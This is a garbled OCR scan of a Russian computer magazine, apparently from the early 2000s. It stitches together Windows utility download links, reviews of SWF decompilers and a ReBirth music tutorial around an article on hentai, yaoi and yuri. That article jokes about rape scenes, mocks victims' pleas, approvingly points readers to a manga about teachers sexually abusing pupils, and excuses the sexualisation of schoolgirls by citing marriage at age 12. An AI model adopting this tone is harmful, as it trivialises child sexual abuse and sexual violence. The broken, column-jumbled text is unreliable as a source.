98, Ме). Для работы этой тулзы ну- 
жен Win ХР Pro SP1, а брать ее можно 
отсюда: 


http://download.microsoft.com/download/whi 
stler/Install/SP1/W98NT42KMeXP/RU/winxp- 
spi_ru_pro_bf.exe. Великовата она He- 
много (чуть больше 4 метров), HO ес- 
ли уж понадобится, то лучше не по- 
жалеть Инета и вытащить. 


Переставь софт вместе с Windows 
Installer Clean Up 

Эта софтина создана в помощь всем 
желающим удалить инфу о прогах, 
которые оставляют за собой какой- 
то след (например, в реестре) даже 
после их деинсталляции. Чистить 
ручками - неблагодарное занятие, а 
то вдруг еще чего лишнее потрешь - 
тогда точно помучаешься. Правда, 
WICU сделан для вычищения различ- 
ных упоминаний о том софте, кото- 
рый стал глючить, так что даже пере- 
становка не помогает! WICU поможет 
в борьбе со многими прогами, но она 
бессильна против Windows Installer’a 
и Wl-nporpamm (например, двухты- 
сячный офис, для полного удаления 
которого есть свой Cleaner). 


Пользование программой просто до 
безобразия. Запустил, выбрал из 
списка прогу, от которой надо бы из- 
бавиться, и нажал Remove. Все, твоя 
задача на этом закончена. После 
этого неплохо бы для надежности ре- 
бутнуться (не всегда надо) и поста- 
вить повторно тот софт, который не 
хотел работать. Только ставь софт в 
ту же папку, где он был раньше, а то 
потом будешь чистить не записи ре- 
естра, а свой хард. В 90% случаев 
применение WICU должно помочь. 
Так что подумай, стоит ли заиметь 
такую прогу или лучше каждый раз 
сносить винды. Думается, что пер- 
вый вариант звучит лучше, тем бо- 
лее, что программулька эта весит ка- 
ких-то 300 кило. Тогда лезь за ней 
сюда: http://download.microsoft.com/down- 
load/office2000pro/util22/1/W9X/EN- 
US/msicu.exe, если у тебя Win 95, 98 
или Me, или hitp://download.microsoft.com/ 
download/office2000pro/util20/1/NT4/EN- 
US/msicuu.exe, если юзаешь двухты- 
сячные или ХР. 


DIRECT: 9 
Любишь играться - люби и DirectX ка- 
чать. Особенно, если не просто иг- 
раться, а играться в самые послед- 
ние игрушки (благо, их не так трудно 
сейчас найти), а также тестить демки 
игр, которые еще даже не вышли, но 
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уже в какой-то стадии готовности. 
Для справки, DirectX - это такая Х для 
софтварного ускорения графики и 
звука. Если с играми на дисках нуж- 
ный DirectX присутствует, то в ска- 
чанной из Инета демки игры навряд, 
ли будет. Ну не отказываться же от 
возможности немного отдохнуть? 
Даже если у тебя и так стоит DirectX 
(а это 100 пудов), то все равно лучше 
его обновить. Ведь каждый новый 
DirectX полностью поддерживает то, 
что было до него и еще что-то допол- 
нительно. Так что не откладывай ла- 
занье за файлом, который будет вы- 
таскивать DirectX на твою машину: 


http://download.microsoft.com/down- 


load/2/2/3/22371837-c4dc-4f8b-af21- 
00c80d8b235c/dxwebsetup.exe. Из урлы 
видно, что это только даунлоудер, 
который будет качать DirectX. Retail 
же лежит Ha_http://download.microsoft. 
com/download/6/d/8/6d8af880-c050-455c- 
9536-4a04725db85f/dx90_redist.exe. 


НОВЫН CEPBHCNAR ANA 
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3 февраля появился новый сервис- 
nak K Win ХР. Только называется он не 
SP2, а SP1a. Не потому я решил о 
нем упомянуть в конце статьи, что 
его надо качать всем без промедле- 
ния. Все отличие SP1 от ЗРЛа в том, 
что B «а» отсутствует виртуальная ма- 
шина Java (Microsoft VM). Нужна она 
для возможности запуска под винда- 
ми прог, которые написаны Ha Java 
(язык такой мультиплатформенный, 
а He Java Script). Если у твоего ХР до 
сих пор нет никакого сервиспака, то 
скачай хотя бы SP1a отсюда: 
http://www.microsoft.com/WindowsXP/pro/do 
wnloads/servicepacks/sp1/default.asp. А 
иначе ничего не делай! Короче, SPla 
- это кастрированный вариант SP1. 
Не от хорошей жизни произошло та- 
кое - опять пытаются давить на Мел- 
кософт. Изначально VM Java была 
сделана Зип’ом, а потом мелкософт- 
ные так переделали ее, что Зип’ов- 
ская и М$-овская виртуальные ма- 
шины стали чем-то настолько раз- 
личным, что написанные для М$-ов- 
ской VM проги не шли на Зип’овской, 
и наоборот. Большинство прог напи- 
сано под М$-овский вариант, a OH 
еще и шел всегда с виндами. Вот в 
Зип’е и возмутились. А нам - юзаю- 
щим винды - теперь придется ста- 
вить Microsoft VM отдельно от вин- 
дов, качая ее со страницы 
http://www.microsoft.com/java. 
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Пока с Windows Update все настолько 
тихо, что латание виндов можно на 
время отложить. Пусть они пока от- 
дохнут. Мелкософт пока не только не 
выпускает ничего полезного, но и 
убирает старое. Так что можно не 
тратить Инет на проверку обновле- 
ний, а заняться реально полезными 
делами, например, музон свежень- 
кий послухать или софтинку све- 
женькую скачать потестить. Но это ты 
сам решишь. 
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ХЕНТАЙ, ЯОЙ, ЮРИ - 
УДОВОЛЬСТВИЕ ДЛЯ ВСЕХ 


Ain Hagalaz (ainhagalaz@hotmail. 
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оддерживали мир в Японии, давая лю- 
ям то, к чему они так стремились. Вза- 
мен запрещающей политики японцы по- 
лучили чертову кучу публичных домов, 
полную свободу от моральных запретов 
на сексуальную тему. 


1S 


В конце девятнадцатого века в результате 
бучи, учиненной кланом Мейдзи, нача- 
лась перестройка на манер западной 
культуры. А Европа в то время была весь- 
ма пуританской, потому публикация 
произведений эротического содержания 
была запрещена. Сейчас, конечно, к это- 
му относятся проще. Но, тем не менее, 
статья существует, и отменять ее пока ни- 
кто не собирается. 


Это слово, наверное, тебе уже известно, 
так как знакомство с японской анимацией 
у нас в России, как правило, начинается 
именно с него и заканчивается в 50% слу- 
чаев разочарованием =(. Дабы уберечь 
тебя от подобного рода казусов, я по- 
дробно объясню, что же такое хентай и с 
чем его едят (и едят ли его вообще ^_^). 
Итак... 


В наши дни начало развития японского 
комикса приходится на послевоенное 
время (Вторая мировая). Вначале это бы- 
ли обыкновенные приключенческие ко- 
миксы, но только тридцать лет назад свое 
развитие получила хентайная манга. Пер- 
вой и самой знаменитой фишкой стала 
юмористическая манга «Школа бесстыд 
ников» автора Го Нагай. Среди подрост- 
ков этот комикс получил большую попу 
лярность, потому что кому, как ни девуш 
кам и парням в период полового созрева- 
ния, интересно как можно больше узнать 
про «ЭТО». Японская общественность 
была возмущена, устраивались даже пуб- 
личные сожжения этой «аморальной лите- 
ратуры» (вот фрики! - прим. ред.). Но со 
временем всем пришлось смириться и 
признать эротическую мангу достойной 
ветвью искусства. Хотя бы потому, что она 
успехом пользовалась, пользуется и 
пользоваться будет! 


ГРАМОТНОЕ ЗНАКОМСТВО 


Хентай (hentai)- это один из жан- 
ров аниме и манги на эротическую 
тему. Переводится с японского 
как «извращенный». Ага, вижу 
глазки у тебя уже загорелись :)! 
Творчеством подобного рода Ин- 
тернет просто переполнен. Как 
правило, это разношерстные куски 
анги, скриншоты из старых хен- 
тай-игр и омерзительный фан-арт. 
Вот почему я говорю о разочарова- 
нии при знакомстве с данным видом 
искусства. Также можно нарваться 
на низкокачественное аниме, стро- 
ить по которому представление о 
всей японской анимации, как, к сожа- 
лению, делают это многие, не стоит. 


Tr 


ИСТОРИЯ В СТИЛЕ «НЮ» 


А теперь немного истории. Эротические 
гравюры и рисунки в Японии известны ис- 
покон веков. Еще в середине первого ты- 
сячелетия нашей эры были известны ри- 
сунки, содержащие в себе отчетливые 
сексуальные мотивы. Скорее всего, их 
можно связать с культом плодородия и, 
соответственно, с почитанием фаллоса 
(точно, члена :)). Особенно широкое рас- 
пространение искусство эротической 
гравюры получило во время правления 
сегунов клана Токугава. Сегуны этой ди- 
настии неплохо разбирались в психоло- 
гии, понимая, что стремление к власти не 
что иное, как нереализованное сексуаль- 
ное желание (ну, если не дает никто). Они 


Хентай-индустрия растет с каждым годом, 
создаются анимационные фильмы (кото- 
рых уже я насчитала штук восемьдесят =), 
рисуется манга. Причем половину от все- 
го производства манги занимает люби- 
тельская манга - додзинси (dojinshi), про- 
дающаяся на одном уровне с коммерчес- 
кой (!). В основном все герои додзинси - 
известные и всеми любимые персонаж 
аниме и японских компьютерных игр, как, 
например, персонажи из всех частей Ета! 
Fantasy. Ну и, конечно, многие элементы 
хентая, в том числе и весьма легкий 
взгляд на секс во всех его проявлениях, 
целиком перекочевали в киберпанк. 
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ВСЯ HAWA ЖИЗНЬ НЕНТАЙ 


насилие совершается над чистым непо- 
рочным созданием. Согласись, есть раз- 
ница - надругаться над уличной девкой и 
подобным «ангелочком» + _+. 
Заметь, что героини в процессе изнаси- 
лования смотрятся преувеличенно несча- 
стными. Наполненные чистыми девичьи- 
и слезами глаза просят о пощале... Гы! 
ого они пытаются обмануть?! Мы-то зна- 
ем, что на самом деле пощады следует 
просить тем самым монстрам ;). 


большее внимание уделяется взаимоот- 
ношениям между героями, их проблемам 
несчастной/счастливой любви. Все сю- 
жеты здесь завязаны на школьной или 
околошкольной тематике. Сейнен-манга, 
напротив, насыщена половыми актами и 
не имеет достойной сюжетной линии. 
Графика приближена к реализму. Ну и, ко- 
нечно, манга различается по степени из- 
вращенности, специально чтобы каждый 
выбрал себе по вкусу. Это хана-хентай 
hana-hentai), где особое внимание уде- 
ляется взаимоотношениям; лемон-хентай 
emon-hentai), в котором на первое место 
ставится половой акт, и г-хентай (G-hen- 
а!) - как правило, извращенный, жесткий, 
с обилием садо-мазохистских сцен, кро- 
ви и грязи. 


Помимо всяческих инверсий (замены 
«старых добрых» партнеров-парней 
страшными и фантастическими монстра- 
ми), в хентае можно встретить внутрисе- 
мейные сексуальные отношения. Напри- 
мер, брат с сестрой, сын с матерью ит.д. 
Встречается тема киберсекса: всяческие 
роботы, странные механические приспо 
собления, не говоря уже о классической 
теме садомазохизма. Гм... Мораль, види- 
о, потягивает коктейль на лазурном ка- 
нарском берегу = _^. Также существуют 
откровенно генетически ненормальные 
вещи: гермафродиты, девушки с мужски- 
и половыми органами или четырьмя гру- 
дями. Чудо современной пластической 
хирургии :). И это несмотря на весь япон- 
ский эстетизм. 


ПИКАНТНЫЕ ОСОБЕННОСТИ 


Сейчас в сети можно найти хентай, со- 
зданный нашими соотечественниками. 
Рисовать хентай не только модно, но и 
очень полезно для начинающих мазил... 
9-9-9... художников. Это помогает ознако- 
миться с анатомией и делает рисование 
сложных поз не самоистязанием, а весь- 
ма увлекательным занятием. Но для того 
чтобы начать творить, надо учитывать 
особенности стиля и пропорций. Все хен- 
тайные персонажи обладают гиперсексу- 


Тема педофилии тоже не дремлет: кроме 
стандартных историй про злых насильни- 
ков-рецидивистов, истязающих детишек, 
встречаются и весьма оригинальные. Ме- 
ня, например, приколола манга «Secret 
Plot» про двух грудастых училок, которые, 
помимо своих прямых обязанностей, 
практикуют искусство любви на своих по- 
допечных учениках... ну прямо образцово- 
показательные преподаватели (этот ко- 
микс можно легко найти в сети ;)). 


ХЕНТАЙ-ИГРЫ 


Наряду с аниме и мангой существуют хен- 
тайные игры. Это, как правило, квесты, 
главная сюжетная линия которых направ- 
лена на то, чтобы развести женских пер- 
сонажей на секс. Сделать это надо гра- 
отно, учитывая характер каждой из деву- 
цек, путем долгих разговоров или удач- 
ного стечения обстоятельств. Вот класси- 
ческие типажи: скромная зажатая девоч- 
а; опытная дама, любящая «погорячее»: 


энергичная искательница приключении и 


ТЕНТАКЛЫ? КАКИЕ 


ТАКИЕ ТЕНТАКЛЫ? вспыльчивая наивная милашка, как пра- 

ло, часто используемая в качестве 

Тема извращений всегда привлекала чу- авной героини. При неправильных дей- 
диков-зрителей. В хентае этого добра ствиях для некоторых героинь все может 
просто пруд пруди. Здесь можно увидеть ончиться весьма печально, вплоть до су- 


все, что угодно. Границ для фантазии нет. 
Например, классический хентайный сю- 
жет: огромный монстр с щупальцами на- 
силует маленькую наивную девочку. По- 
добная игра контрастов - визитная кар- 
точка любого хентая. Вообще, страсть к 
теме молоденьких школьниц, коими пере- 
полнена вся хентай-продукция, объясня- 
ется тем, что в Японии считалось - девуш- 
и достигают брачного возраста к 12 го- 
дам, а молодые люди к 14. Ну, уж если 
быть совсем точным, то это традиция 
свойственна не только стране восходя- 
его солнца, например, в средние века 
подобная практика была распространена 
в Европе. Жили-то тогда не так долго. 


ИЦ 

Подобные игры пользуются большим 
спросом в Японии. Рейтинг их продаж до- 
вольно велик, все они причисляются к 
атегории «симуляторов общения» :). 
ногие поклонники хентайных игрушек 
пренебрегают основной их функцией, так 
ак считают более интересным следить за 
развитием сюжетной линии (угу, это вам 
не тупая американская порнуха, в которой 
главное только сам процесс). 


КОМУ ЧТО? 


Хентайную мангу читают в Японии и под- 
ростки, и взрослые, и существует до фига 
их разновидностей, ориентированных на 
челов конкретного возраста и с конкрет- 
ными вкусами. Манга для юношей (сенэн- 
манга) и для взрослых (сэйнэн-манга) от- 
личается извращенностью и обилием 
эротических сцен. В подростковой манге 


Юношеская красота в Японии является 
образцом для восхищения и воспевания, 
следовательно, союз двух непорочностей 
не что иное, как идеализация. Так что весь 
зврат не в возрасте героинь, а в том, что 
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альностью, и даже молоденькие девочки- 
кольницы рисуются с пышными форма- 
ми. Прежде всего, хентай - это длинню- 
е ноги, получающиеся за счет укорачи- 
вания торса, и огромные блестящие гла- 
за. Не надо забывать и об аппетитности 
персонажей, которые очень редко рису- 
ются худенькими; пышные упругие бедра, 
смачная «увесистая» грудь являются обя- 
зательным атрибутом, правилом, кано- 
ном, если хочешь. 
Стоит упомянуть и про соответствующую 
одежду, подчеркивающую фигуру. Девоч- 
И «упакованы» в латекс или носят услов- 
ые юбочки, а уж про откровенные де- 
ольте я вообще промолчу ^__^. 


С хентайными мальчиками дело обстоит 
намного проше. Они имеют среднее те- 
лосложение, весьма красивую фигуру и 
огромные... «сам знаешь что». А если 
быть точнее, то молодые люди в хентае 


вообще не самое интересное, главное - 
демоноподобные монстры. Мало того, 
что они рисуются здоровенными, у них 


еще и щупальца есть, которыми так удоб- 
но насиловать девочек куда только угод- 
H 


Ты, наверное, замечал, что персонажи ки- 
берпанковских аниме тоже прохентайне- 
4 
| 


ы по уши. Они либо одеты в обтягиваю- 
ие скафандры, либо вообще плавают в 
колбах голышом, демонстрируя свои бе- 
зупречные филейные части =). Напраши- 
вается вывод: и до нас, заядлых компью- 
терщиков, киберпанкеров-затейников д 
брался хентай. Ну что тут поделаешь? Ка- 
рандаши в руки, и за работу! 


тиворечия на эту тему: хентай, как и любая 
другая продукция подобного содержания, 
может сорвать крышу только у чрезмерно 
восприимчивых, слабовольных и психиче- 
ски нездоровых подоночков. 


МИНЗДРАВ ПРЕДУПРЕЖДАЕТ? 


Встречаются люди, утверждающие, что 
хентай пагубно влияет на психику подрас- 
тающего поколения. Они предполагают, 
что у молодежи, «употребляющей» этот 
и 
H 


Полемику на эту тему считаю неуместной. 
В конце концов, я же не свихнулась, не- 
смотря на мое многолетнее увлечение 
хентаем. Кстати, а мой костюм из латекса 
не видели =)? 


В дум мкольмых коме 
¢ 22 no SO лама 
В малые мдм Kuno 


«наркотик», есть все предпосылки в буду- 
ем стать Садистами, извращшенцами и 
прочими морально разложившимися лич- 
ностями. Также пугают тем, что может 
развиться комплекс, получившии назва- 
ние нидзикон (nijikon) - страсть к нарисо- 
ванным персонажам и отсутствие влече- 
ия к реальным людям. Но, амиго, давай 
рассуждать логически, неужели двумер- 
ные красавицы и красавцы, будь они на- 
много привлекательней и идеальнее ре- 
альных, смогут заменить настоящие плоть 
и кровь? Ерунда! Да и по данным статис- 
тики в Японии рост сексуальных преступ- 
лений не увеличивается с ростом продаж 
хентай-продукции, что тогда говорить о 
России? Так что спешу развеять все про- 


Я?.. ОЙ! 

Наряду с хентаем существует еще один 
весьма распространенный жанр аниме - 
яой (yaoi). Слово непонятное? Но непо- 
нятное не значит непопулярное. Поклон- 
HUKOB AOS... ГМ-М-М... вернее, поклонниц, 
предостаточно. 


Яой - это мета-жанр аниме и манги, опи- 
сывающий гомосексуальные отношения 
между мужчинами. Само слово «яой» обо- 
значает что-то вроде «без смысла, без 
развязки, без кульминации». Но, как бы 
это ни было странно, данный жанр рас- 
считан не на тех, о ком вы подумали, а на 


ВСЯ НАША ЖИЗНЬ НЕНТАЙ 


девушек. Причины страсти жен- 
ской половины населения к яою 
мне, как представительнице сла- 
бого пола, малоизвестны и мало- 
понятны. Поэтому пришлось до- 
капываться до сути путем рас- 
спросов и умозаключений: одн 
девушки говорят, что они доста- 
точно ревностно относятся к героям 
романтических комиксов и им трудно 
смириться с существованием главной ге- 
роини. Поэтому ее заменяют мальчиком. 
Другие утверждают, что им просто нра- 
вится наблюдать за отношениями между 
мужчинами. Спортивный интерес, что ли? 
Вообще, этот жанр в Японии появился лет 
тридцать назад, первая манга была 
«Сердце Томаса» (Thomas no Shinzou). В 
стране восходящего солнца гомосексу- 
альные отношения не порица- 
лись, как, например, в Европе. = 
Да и представление о мужской 
красоте в корне отличается от 
нашего. Истинный самурай дол- 
жен быть утонченным и женственным, 
иметь длинные волосы и хорошие мане- 
ры. Отсюда появление термина бисенен 
(bishounen) - женоподобного молодого 
человека. Девушки просто с ума сходят от 
таких мальчиков, а накаченных здоровя- 
ков отправляют в отставку. 


ной мыльной оперы «Сэйлор Мун». Это 
отношения двух демонов Кунсайта и Зой- 
сайта (они же Куня и Зося) - самой, на 
мой взгляд, популярной голубой парочки. 
«Я любил вас, как отца, лорд Кунсайт», - 
прошептал Зойсайт, умирая на руках 
своего любовника. Эту фразу зацен- 
зурили в русском переводе, но на са- 
мом деле мы-то знаем, КАК он его лю- 
бил. Вернее, куда. Как видишь, роман- 
тика, трагизм и приставания пассивного 
к активному присутствуют. 


ЮРИ 


Наряду с яоем существует жанр, ко- 
торый называется юри (yuri), в пере- 
воде означает лилию. Соответствен- 
но, в нем описываются гомосексуаль- 

ные отношения между женщинами. 
Юри создают мужчины и для мужчин, 
только работают они пока фиговенько, 
потому как аниме подобного содержания 
можно пересчитать по пальцам. Вот ман- 
га - другое дело, с этим гораздо лучше, 
правда, описание женского оргазма 
сходно с мужским -__-#. Такие ошибки ха- 
рактерны и для яоя, и для хентая. Меня 
это приводит в... гм... замешательство. 
Представь девушку, как бы помягче ска- 
зать, из недр которой в момент оргазма 
вырывается... гм... фонтан (!) смазки. Но 
на общее впечатление от просмотра эти 
глупости никак не влияют. Остается наде- 
яться на то, что в ближайшее время авто- 
ры вооружатся справочниками по сексо- 
логии. 
Конкретно об этом жанре можно мало что 
сказать, разновидностей практически 
нет, разве что только седзе-ай (Shoujo ai), 
в переводе любовь девочек. Как и в слу- 
чае с яоем, носит более мягкий характер 
и описывает романтические отношения. 


Интересно то, что девочки-натуралки, по 
большей части, относятся к юри так же 
трепетно, как и к яою. А вот самое инте- 
ресное, что некоторые аниме, как, напри- 
мер, одно из популярнейших на юрийную 
тему Shoujo Kakumei Utena («Юная рево- 
люционерка Утена»), ориентированы 
опять же на женскую аудиторию. Снова 
спортивный интерес? 


Так же, как и в хентае, существуют разно- 
видности яоя. Например, shounen а! - в 
переводе юношеская любовь - базирует- 
ся на изображении взаимоотношений 
межлу персонажами, а не на сексе. 
Вообще, все яойные истории за- 
канчиваются трагично, тем са- 
мым давая девушкам повод 
для соплежуйства (любимое 
занятие, так сказать... если 
не кости перемываем, так 
розовые сопли пускаем... 


aN) 


РАЗВОДЯ... ИТОГИ 


Перед тем как поставить жирную точку, 
хочу рассказать о том, как относятся ко 
всем этим трем направлениям наши со- 
отечественники. По данным соцопроса, 
проведенным мной среди заядлых хен- 
тайщиков, выяснилось, что наши бравые 
парни уважительно относятся к хентаю, 
считают его достойной частью искусства, 
нередко коллекционируют хентай во всех 
его проявлениях. К юри испытывают по- 
вышенный интерес. Девушки же страстно 
любят яой: нередко встречаются даже ко- 
ротенькие додзинси, а про соответствую- 
1ий арт и говорить не стоит. Креативят, в 
общем, на всю катушку. За фразы типа 
«яой - ОТСТОЙ» дамы могут порвать на ты- 
сячи маленьких кусочков. Так что реко- 
менлую быть поаккуратнее с подобными 
изречениями даже в сети, иначе рискуешь 
нажить себе врагов на всю жизнь. Итого: 
хентай, яой и юри заняли почетное место 
и в интернет-культуре, и в сердцах по- 
клонников. Все. Жирная точка. 


звращения в яой тоже су- 
ществуют: педофилия, са- 
до-мазо, монстры, инцес- 
ты и прочая дребедень. 
Точно так же, как и с хента- 
ем, пределов для вылумок 
нет. Существует разде- 
ление персонажей на 
пассивных (иКе) и ак- 
тивных (зете). При- 
чем инициаторами 
половых актов явля- 
ются пэссивы. 


=r 
= 


Чтобы ты лучше понял, 
что есть яой, приведу при- 
мер из забитой, затаскан- 
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Iv (dembicki@narod.ru) 


А сколько ты сломал в детстве игрушек толь- 
о для того, чтобы посмотреть, что внутри? 
Ведь самое интересное именно там. Во 
лэше этот закон свою силу не теряет. 


так, ты влетаешь на чей-то сайт и выпада- 
ешь в осадок от того, насколько крута 
лэш интрушка (а может менюшка, а 
жет... да все что угодно!). Естественно, надо 
посмотреть, какие там внутри пружин 
это добро двигают. А поскольку SW 
мат открытый, TO для удовлетворения такого 
любопытства появились совершенно 
гальные проги. Они помогут тебе как при 
ризисе жанра, так и для самообучения. 


Вскрывая хорошо сделанные змГки и раз- 
бираясь в исходниках (поверь, это иногда 
сложнее, чем написать что-то самому), ты 
быстро повысишь свой уровень. 
о не надо бездумно драть чужие 
рипты и картинки! Я это говорю не потому, 
что я такой хороший, а потому, что иначе ты 
как был никем, так никем и останешься. 


ASV Action Script Viewer 


http://www.buraks.com/asv/ 


iy вт: 
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Это одна из первых прог, которой мне дове- 
лось попользоваться. Первая ее версия 
предназначалась для просмотра скриптов 
еще четвертой версии флэш. Сейчас у них 
на дворе третья версия, которая без про- 
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ОТНРЫШВАПЫЧЧ”! 


вскрываем флэшки для 
удовольствия и для дела 


блем покажет скр 


пты Flash МХ. К достоин- 
ствам вьювера относится то, что, имея ми- 
нимальный опыт работы с этой программой, 
можно детально изучить проект, посмотреть 
все скрипты, таймлайны и вообще всю внут- 
реннюю организацию файла. Основным не- 
достатком является то, что это вьювер. Так 
что кроме скриптов брать там что-либо не- 
удобно, потому как он выгоняет любые объ- 
екты опять же в Swf. Цена 60 баксов, так что 
прими «лекарство». 


Резюме: применять для изучения структуры 
проекта и скрипта. 


SWF Scanner 


http://www. livetronix.com/ 


ногда случаются неприятности. Например, 
потерялся исходник презентации, а нужно 
срочно заменить пару картинок. SWF 
Scanner как раз призван не только просмат- 
ривать, но и позволяет вносить незначи- 
тельные изменения в готовый Swf. Кроме 
этого имеет важную опц извлечение 
объектов из Swf, включая картинки, звуки и 
скрипты. В исключительных случаях, напри- 
ер, жуть как надо поразить любимую де- 
вушку или сделать ей оригинальное позд- 
равление, ты имеешь возможность воткнуть 
себя в качестве автора на заставке или впи- 
сать свой текст, где надо. Но если обман 
раскроется, держись :). Цена 20 баксов (уже 
лучше, но без «лекарства» все равно тош- 
HO). 


Резюме: применять для незначительного 
редактирования или извлечения объектов 
ИЗ swf. 


SWF Extractor 
http://www. globfx.com/ 


Простая и полностью соответствующая CBO- 
ему названию программа. Может только из- 
влекать картинки и звуки из Swf. Но сэконо- 


мить денег не удастся, если решишь, что 
столь незначительный функционал дешевле 
выйдет - цена сопоставима с ценами на бо- 
лее насыщенные продукты - 25 баксов 
(«микстуру» мне, «микстуру»!!!). 


Резюме: применять для извлечения объек- 
ТОВ ИЗ swf. 


SWF decompiler 


http://www.sothink.com 


То же самое что и SWF Extractor, как будто 
это делал один и тот же программист. Выта- 
скивает на божий свет объекты оптом и в 
розницу. Дизайн несколько отличается, но, 
в общем, программа не блещет оригиналь- 
ностью находок. Единственной находкой 
менеджеров компании можно считать цену, 
значительно превышающую цену на про- 
граммы с аналогичным функционалом, - 40 
баксов. 


ны 
man ‘шт 
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- Бабуля, почему все продают семечки по 10 
копеек, а у вас по двадцать? 
- Мне деньги больше нужны, милок. 


Сухой остаток: нет пока проги, которая 
позволяла бы и основательно покопаться во 
внутренностях Swf, и грамотно выцарапать 
оттуда все, что нужно. Поэтому джентльмен- 
ский набор должен состоять как минимум из 
двух программ: просмотрщик + вскрывалка. 


= 
os 
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В ТРАНС! 


ReBirth RB-338 подробно 


Volant (volant@stel.sebastopol.ua) ' ты всегда сможешь отредактировать и на- 


воротить свои замуты уже после того, как 
: записал их первый раз. 


‚ Еще одно сильно отличает эту тулзу от других: 
Многие мои друзья часто просят научить а 
их писать классный музон на компе, но № 


сиональном уровне, и хотя их не очень много 
(но не забывай про плаг-ины), их совмести- 
мость с музыкой стопроцентная. Если в дру- 
гих прогах очень часто спецэффекты могут 
онфликтовать между собой или просто вы- 
' зывать шумы с искажением музыки, то здесь 
акого не произойдет. На самом деле эффек- 
i ты просто не могут ухудшить или исказить 


- ‚ звук, наоборот, чем больше эффектов, тем он 
же нужно сразу и круто, без нотной будет лучше! Те, кто занимается созданием 


грамоты и прочей теории. МЫ 


f } ОЩУПАЕМ МОРДОЧКУ 
любую ручку, шелкнуть переключателем и '! 


когда я пытаюсь зазнакомить их с № 
разными тулзами, типа Sound Forge и 


Cackewalk, они начинают кукситься - им 


Тогда я сразу вспоминаю, что существует на 


нашей планете (давно уже существует) одна ' получить какой-то звуковой эффект. Может Вернемся к проге. Все, в первый раз взгля- 

прога, в корне отличающаяся от других му- : показаться, что примочек на нем маловато, | нув на реберсову морду, дико пугаются. 

зыкальных редакторов. Зовут ее Rebirth. Она |! но это не так, всех фишек с этого микшера +: Этого делать не надо. Надо просто хоро- 

не раз упоминалась в SPEZ’e, но, ИМХО, ей хватит, чтобы создавать музыку на профес- | шенько в ней разобраться, и сразу все ста- 
уделялось недостаточно внимания. i сиональном уровне. Основные направления | нет понятно. Итак, приступим к изучению. 

‚ музыки это Trance, House и Break Bit. икшер включает в себя четыре основных 

ЧТО ТУТ КРУТОГО? | В-третьих, музыка создается именно с по- i дорожки: первая - это основная мелодия 

‚ мощью твоих рук и твоей реакции. Именнос + синтезатора, вторая - это бас, третья - это 

Во-первых, ReBirth заточен под создание этой программой ты можешь почувствовать | легкий драм, четвертая дорожка - это стан- 

трансовой музыки. Ты же любишь транс? Так себя настоящим ди-джеем, так как сам трек ! дартный драм. На каждой дорожке находит- 

что можешь замутить со своими друганами- { сводится и записывается в Real time, плюс ‚ ся система настроек и спецэффектов в виде 


трансерами самопальный трансовый трек, 
не отходя от кассы. 
Во-вторых, интерфейс проги представляет 
собой точную копию аналогового синтеза- 
тора Roland TB-300 и двух драм-машинок 
Roland TR-808 и ТВ-909. Ничего лишнего, 
никаких заныканных невесть куда окошек с 
настройками. Ты сразу можешь покрутить 


Основа транс-музыки - 
это отрывистая мелодия, 
которая превраццается в 
затяжной и перемешан- 

ный саунд. Основное 
предназначение транс- 
музыки это втягивание 


человека в состояние 
транса именно при помо- 
LU медленной перемец/- 
ки простых мелодий в 
многолинейную компози- 
цию с добавлением спе- 


эффектов. 


оо 
— 
a 


Уна 


раде 109 


HPEATHB 


1s See tee bee tee 


som enor 


EIS 


“Preducing осно mph 
Bedaan” ва. 50 


синтезаторной морды, также присутствует 
некое подобие клавиш, в драммашине они 
выполняют функцию расстановки бита, а на 
басе и синтезаторе функцию изменения то- 
нальности. 


ЧТО ТАКОЕ ПАТТЕРН? 


С самой левой части микшера на каждой до- 
рожке находится блок с надписью pattern, и 
под ней располагается набор кнопок от 1 до 
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8, а чуть ниже торчат буквы от A до В, a Tak- 
же надпись Steps. Цифры переключают но- 
ep паттерна, а буквы - банк паттернов, то 
есть у нас 32 паттерна для каждой дорожки. 
Паттерны - это короткие (пару секунд) музы- 
альные фразы (наборы звуков) с наложен- 
ными спецэффектами, чередуя которые, ты 
создаешь композицию. В каждой ячейке 
добрыми дядьками из Propellerhead уже за- 
писаны фирменные паттерны, так что ты 
уже, в принципе, можешь начинать миксить 
трансюк. В основном в маленьких цифрах 
лежат более простые паттерны, а начиная с 
пятой - уже покруче. 
Осталось разобраться со Steps. Это коли- 
чество шагов в паттерне. Всего их в паттер- 
не 16, но мы можем поставить 8, и будет 
проигрываться только половина паттерна, 
то есть паттерн станет короче и проще. 


РАЗБОРКИ С СИНТЕЗАТОРОМ 


Далее разберемся с первой и второй до- 
рожками, так как они практически идентич- 
ны по управлению (это один и тот же синте- 
затор). Сверху расположены ручки управле- 
ния звуком: 

Типе - тональность мелодии (выше, ниже); 
Cutoff - срезание высоких и средних частот; 


Интерфейс проги 
представляет собой 
точную копию 
синтезатора и двух 
драммаицишины. Ничего 


лишнего! Ты сразу 
можешь покрутить любую 
ручку, ицелкнуть 
переключателем и 
получить какой-то 
звуковой эффект. 


Энтузиасты 
накреативили кучу 
скинов для ReBirth, так 
что если тебя уже не 


впирает стандартный 
скин, срочно беги на 
www.propellerheads.se м 
качай по полной 
программе - там их тьма. 


Reso - острота высоких и средних частот 
мелодии; 

Env.Mod - оказывает разный эффект, в OC- 
новном средненизкие частоты + вибрация; 
Decay - задержка, эхо; 

Accent - чувствительность мелоди 
частот. 
Чтобы понять, что это, легче всего просто 
попробовать. Например, если ручку cutoff 
начать поворачивать снизу вверх (схватись 
мышкой и тяни), то мелодия будет сначала 
глухой, потом становиться звонче и звонче. 
С помощью этих фишек можно очень бы- 
стро и круто поменять свойство звука. 
Аещетутесть переключатель формы волны. 
Тоже незамедлительно оказывает на звук 
очень интересный эффект. 
Чуть ниже располагается октава (такая же, 
как на обычной пианине :)), нажимая на эти 
клавиши, получишь нотку. А правее находят- 
ся кнопки эффектов для ноты: 
down - опустить на октаву вниз (звук будет 
значительно ниже); 
ир - поднять на октаву вверх (звук будет вы- 
ше); 
accent - а 
резче); 
slide - скольжение (звук будет как будто 
размазан). 
Над ними - переключатель, который задает, 
будет играться нотка или нет. 


и всех 


центировать ноту (звук будет 


КАК ЗАМУТИТЬ СВОЙ ПАТТЕРН? 


Элементарно! Выбираешь цифрами и буква- 
ми ячейку для своего паттерна на соответ- 
ствующей дорожке и либо давишь цапу clear 
и пишешь все с нуля, либо модифицируешь 
старый паттерн. Для этого на соответствую- 
щем синтезаторе кнопочками Step и Dack вы- 
бираешь номер шага (он высветится в окош- 


ке чуть выше), ставишь нужную нотку на ок- 
